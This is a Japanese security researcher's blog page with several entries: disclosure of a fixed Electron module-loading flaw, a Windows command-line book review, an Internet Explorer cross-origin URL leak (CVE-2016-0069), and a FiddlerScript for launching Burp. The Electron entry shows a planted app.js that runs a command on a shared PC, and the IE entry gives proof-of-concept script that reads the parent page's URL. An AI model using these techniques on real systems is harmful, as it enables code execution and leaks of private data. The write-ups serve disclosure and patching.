Hatena::ブログ(Diary)

葉っぱ日記 このページをアンテナに追加

2016-08-10

2016-04-26

[] Electronのnodeモジュール読み込みの問題が修正された  Electronのnodeモジュール読み込みの問題が修正されたを含むブックマーク

昨年10月に報告した、Electron製アプリケーションを起動した際にアプリケーション外のnodeモジュールを読み込んで実行されてしまうという脆弱性が修正された。

正確には、修正は報告とほぼ同じタイミングにリリースされた v0.33.5 で修正されていたが、4月まで公表がずれ込んだようである。

 Changelog: Don't add paths outside the app to Node module search paths in packaged app.

Release electron v0.33.5 · electron/electron (https://github.com/electron/electron/releases/tag/v0.33.5)

つまり、v0.33.5以前のelectronを使って作成されたアプリケーションでは、アプリケーション外のパスもnodeモジュールの検索パスになるため、ルートフォルダ方向にさかのぼってapp.jsなどが存在すればそれが読み込まれて実行されてしまう。

If the module identifier passed to require() is not a native module, and does not begin with '/', '../', or './', then Node.js starts at the parent directory of the current module, and adds /node_modules, and attempts to load the module from that location. Node will not append node_modules to a path already ending in node_modules.

If it is not found there, then it moves to the parent directory, and so on, until the root of the file system is reached.

そのため、例えば同じPCを利用する他のユーザーが以下のようなファイルを C:\node_modules\app.js という名前で用意していたとすると

// C:\node_modules\app.js
require('child_process').exec('calc', ()=>{});

他のユーザーがそのPC上でElectron製のアプリケーションを起動した瞬間に電卓が起動することになる。

Electron v0.33.5 以前のバージョンでビルドされたアプリケーションは新しいバージョンのElectronでビルドしなおして再配布する必要がある。

なお、nodeモジュールとして読み込まれるファイル名は、app.jsのほかにもapp.nodeやindex.js、index.node等がある。

2016-03-08

[] [改訂新版]Windowsコマンドプロンプトポケットリファレンス  [改訂新版]Windowsコマンドプロンプトポケットリファレンスを含むブックマーク

[改訂新版]Windowsコマンドプロンプトポケットリファレンスを著者の山近さんから頂きました。ありがとうございます。

この書籍は、「ポケットリファレンス」といいながら660ページもの圧巻のボリュームで、Windowsで日常的に使うコマンドだけでなくほとんどの人が存在さえ知らないようなマイナーなコマンドまで含めあらゆるコマンドの使い方やオプションを網羅して解説しています。ただコマンドの使い方を調べるというのであれば、たいていの場合は各コマンドの /? オプションなどで足りることも多いのですが、書籍としてコマンド群を俯瞰できることで、これまで知らなかったコマンドを知ることができるというのも書籍の大きなメリットでしょう。

改訂新版ではデスクトップはWindows 7などはもちろん8やWindows 10、サーバーは2012にも対応しているので、すでにコマンドラインを使いこなしているという人であっても普段使っているコマンドの詳細を改めて調べなおしてみることで新たな発見がある、Windows使いであれば(管理者でなくても)手元に置いておきたい一冊だと思います。

唯一の難点は、書名のググラビリティの低さでしょうか。

[改訂新版]Windowsコマンドプロンプトポケットリファレンス

[改訂新版]Windowsコマンドプロンプトポケットリファレンス

2016-02-20

[] CVE-2016-0069 Cross origin URL information leakage of Internet Explorer  CVE-2016-0069 Cross origin URL information leakage of Internet Explorer を含むブックマーク

Cross origin URL information leakage of IE was fixed by MS16-009. (JVN#78383854: Internet Explorer cross-domain policy bypass)

Reported
2015-09-18
Confirmed version
Internet Explorer 11.0.9600.18036
Description
A cross origin content in the iframe child can retrieve part of the url of parent page of iframe. Secret strings in the url may be leaked to the child page of iframe.
PoC
         var elm = document.createElement( "a" );
         elm.href = "#";
         elm = elm.cloneNode( false );
         alert( elm.protocol ); // protocol scheme of parent page
         alert( elm.host );     // hostname with port number of parent page
         alert( elm.hostname ); // hostname of parent page
         alert( elm.port );     // port number of parent page
         alert( elm.pathname ); // path name of parent page
         alert( elm.search );   // query string of parent page

2016-02-02

[] Launch Burp from inside Fiddler  Launch Burp from inside Fiddlerを含むブックマーク

I've written the article about FiddlerScript last week and I've gotten reply like this:

Yes, I know Burp rulez but I love Fiddler without reason so match so that I've just written Fiddler Script for launching Burp. Add these code snippet to your CustomRules.js of FiddlerScript, you can see 2 menu items, "Launch burp" in Tools menu, "Use Upstream Burp" in "Rules" menu. Click "Launch burp" first and turn-on "Use Upstream Burp" to start inspecting http traffic with Burp.

Enjoy!

class Handlers
{
    public static const m_burpPort : String = "8080";
    public static RulesOption( "Use Upstream &Burp" )
    var m_UseBurp: boolean = false;

    public static ToolsAction( "Launch &burp" )
    function launchBurp(){
        const cmd = "cmd";
        const cmdArgs = "/c java -jar -Xmx1024m";
        const burpFolder = "C:\\Program Files (x86)\\burp";

        var req : System.Net.HttpWebRequest;
        var res : System.Net.HttpWebResponse;
        var running : Boolean = false;
        var files : String[];
        var i : Number;
        var burpJar : String = "";
        
        try{
            FiddlerObject.StatusText = "Checking burp already running";
            var req = System.Net.HttpWebRequest( System.Net.WebRequest.Create( "http://localhost:" + m_burpPort ) );
            req.Headers.Add( "X-check-burp", "1" );
            res = System.Net.HttpWebResponse( req.GetResponse() );
            if(  res.StatusDescription === "OK" ){
                running = true;
            }
        }catch( e ){
            running = false;
        }
        if( !running ){
            // search latest burp jar
            files = System.IO.Directory.GetFiles( burpFolder, "burpsuite*.jar" );
            for( i = 0; i < files.length; i++ ){
                if( files[ i ] > burpJar ){
                    burpJar = files[ i ];
                }
            }
            if( burpJar === "" ){
                FiddlerObject.alert( "nou found burpsuite*.jar in "  + burpFolder );
                return;
            }
            FiddlerObject.StatusText = "Launching burp...";
            System.Diagnostics.Process.Start( cmd, cmdArgs + " \"" + burpJar + "\"" );
            FiddlerObject.StatusText = "";
        }else{
            FiddlerObject.StatusText = "burp is already running";
        }
    }
    static function OnBeforeRequest(oSession: Session) {
        if( oSession.oRequest.headers.Exists( "X-check-burp" ) ){
            oSession["ui-hide"] = "burp";
        }
        if( m_UseBurp ){
            oSession.bypassGateway = false;
            oSession[ "x-overrideGateway" ] = "localhost:" + m_burpPort;
        }
    }
}